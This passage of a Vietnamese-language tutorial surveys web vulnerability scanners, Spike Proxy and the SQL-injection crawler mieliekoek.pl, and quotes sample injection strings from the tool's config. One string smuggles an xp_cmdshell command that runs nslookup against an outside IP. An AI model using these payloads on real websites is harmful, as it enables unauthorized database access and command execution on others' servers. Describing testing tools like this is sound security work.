web hoặc người quản trị ứng dụng web cấp thấp truy cập vào tòan bộ phương tiện ứng dụng web,trong khi nó cũng cung cấp 1 nhóm các công cụ tự động và những kĩ năng khám phá ra những lỗi thông thường,các công cụ đó bao gồm:SQL Injection,Website Crawler,Login Form Brute Forcer,Automated Overflow Detection..v.vSpike Proxy chạy trên Win32 và Linux,các bạn có thể Download tại: www.immunitysec.com/spike.html Chú ý là phần mềm này nặng khoảng 13M và máy tính của bạn phải có sẵn Python và OpenSSL.Trong WinXP công cụ này không hoạt động. Mieliekoek.pl là 1 SQL Insertion Crawler,có chức năng kiểm tra các form liên quan đến lỗi SQL.Scrip này cung cấp 1 công cụ Web mirroring như là dữ liệu vào,xem xét từng file và nhân diện sự tồn tại các form trong file.Các chuỗi được Inject có thể dễ dàng thay đổi trong file cấu hình.Download Mieliekoek tại: http://packetstormsecurity.nl/UNIX/s.../mieliekoek.pl Công cụ này chỉ hoạt động khi máy bạn đã cài PERL.Sau đây là 1 ví dụ của dữ liệu xuất từ mieliekoek: $badstring="blah'''; #$badstring="blah' or 1=1 --"; $badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' - ';

----------------------------------------------------------------------------------------------------------------------------------------------

Administrator- http://be-yeu.ws/

Sign up to vote on this title
UsefulNot useful